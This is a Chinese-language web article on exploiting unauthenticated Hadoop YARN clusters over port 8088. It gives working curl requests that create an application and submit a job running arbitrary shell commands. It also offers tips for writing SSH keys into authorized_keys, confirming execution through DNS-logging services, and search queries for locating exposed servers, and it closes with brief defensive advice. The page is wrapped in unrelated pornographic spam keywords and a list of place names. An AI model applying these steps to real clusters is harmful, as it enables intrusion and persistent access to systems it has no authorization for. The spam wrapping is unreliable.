亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Hadoop命令執行是怎樣的

發布時間:2021-11-11 21:38:13 來源:億速云 閱讀:420 作者:柒染 欄目:網絡安全

Hadoop命令執行是怎樣的,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

Hadoop介紹和漏洞原理

Hadoop是一個由Apache的分布式系統基礎架構,用戶可開發分布式程序,充分利用集群的威力進行高速運算和存儲,實現了一個分布式文件系統(Hadoop Distributed File System)。

其中HDFS組件有高容錯性的特點,并且部署在低廉的(low-cost)硬件上即可提供高吞吐量(high throughput)來訪問應用程序的數據。

Hadoop命令執行是怎樣的

Apache Yarn(Yet Another Resource Negotiator的縮寫)是hadoop集群資源管理器系統,Yarn從hadoop 2引入,最初是為了改善MapReduce的實現,但是它具有通用性,同樣執行其他分布式計算模式。

ApplicationMaster負責與scheduler協商合適的container,跟蹤應用程序的狀態,以及監控它們的進度,ApplicationMaster是協調集群中應用程序執行的進程。每個應用程序都有自己的ApplicationMaster,負責與ResourceManager協商資源(container)和NodeManager協同工作來執行和監控任務 。

當一個ApplicationMaster啟動后,會周期性的向resourcemanager發送心跳報告來確認其健康和所需的資源情況,在建好的需求模型中,ApplicationMaster在發往resourcemanager中的心跳信息中封裝偏好和限制,在隨后的心跳中,ApplicationMaster會對收到集群中特定節點上綁定了一定的資源的container的租約,根據Resourcemanager發來的container,ApplicationMaster可以更新它的執行計劃以適應資源不足或者過剩,container可以動態的分配和釋放資源。

與job相關的命令:

1.查看 Job 信息:hadoop job -list 
2.殺掉 Job: hadoop job –kill job_id
3.作業的更多細節: hadoop job -history all output-dir 
4.殺死任務。被殺死的任務不會不利于失敗嘗試:hadoop jab -kill-task <task-id> 
5.使任務失敗。被失敗的任務會對失敗嘗試不利:hadoop job -fail-task <task-id>

YARN命令:

YARN命令是調用bin/yarn腳本文件,如果運行yarn腳本沒有帶任何參數,則會打印yarn所有命令的描述。

使用: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS]

application使用: yarn application [options]

Hadoop命令執行是怎樣的

運行jar文件

用戶可以將寫好的YARN代碼打包成jar文件,用這個命令去運行它:

yarn jar <jar>[mainClass] args...

RCE實現

使用ROOT權限啟動的Hadoop服務可根據在服務器8088端口接收用戶提交的POST數據,根據其中參數執行相關job,具體實現如下:

8088端口的Applications manager:

Hadoop命令執行是怎樣的

1.**申請新的application,直接通過curl進行POST請求:**

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回內容類似于:

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}

2.構造并提交任務

構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創建test_1文件,內容也為111:

{ 
"am-container-spec":{ 
"commands":{ 
"command":"echo '111' >> /var/tmp/test_1"
} 
}, 
"application-id":"application_1527144634877_20465", 
"application-name":"test", 
"application-type":"YARN" 
}

然后直接使用curl發送數據:

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應文件,在8088端口Web界面可看到相關信息:

Hadoop命令執行是怎樣的

技巧:

1可配合ceye、dnslog測試命令執行結果,或在/home/user/.ssh/authorized_keys中寫入公鑰。

搜索開放服務:title="All Applications"

Hadoop命令執行是怎樣的

或者port=50070

Hadoop命令執行是怎樣的

但此方式有三點限制:

1是服務需管理員權限啟動,執行命令也是管理員權限執行,普通用戶五相關命令權限只會有失敗記錄,命令最終執行失敗,留下難以刪除的攻擊記錄。

Hadoop命令執行是怎樣的

2是Hadoop的8088管理端口若使用了權限認證,會提示

AuthorizationException:"message":"Unable to obtain user name, user not authenticated。

Hadoop命令執行是怎樣的

3是master+slave節點數大于等于2,job任務會根據hadoop分布式機制提交到任一臺節點處理,目前筆者還未找到指定namenode的方法。

防護建議

1.建議項目擁有者將暴露在公網的服務端口(8040,8042,8088,50060,50070等)屏蔽掉,或做白名單訪問處理。

2.對Hadoop web Manager服務(8088)做訪問身份認證處理,對接收的數據包進行認證。

3.修改默認端口,防止端口服務被批量利用。

看完上述內容,你們掌握Hadoop命令執行是怎樣的的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

宁武县| 华容县| 呼图壁县| 梁山县| 雅江县| 伊吾县| 彩票| 太仆寺旗| 朔州市| 冀州市| 天津市| 灵武市| 罗山县| 秦安县| 宜丰县| 砚山县| 双鸭山市| 沅陵县| 巫山县| 孟州市| 拉萨市| 大丰市| 清新县| 从化市| 重庆市| 奈曼旗| 托克逊县| 南和县| 中超| 华亭县| 日土县| 甘泉县| 公安县| 永和县| 石河子市| 冕宁县| 嘉定区| 司法| 枝江市| 徐汇区| 龙川县|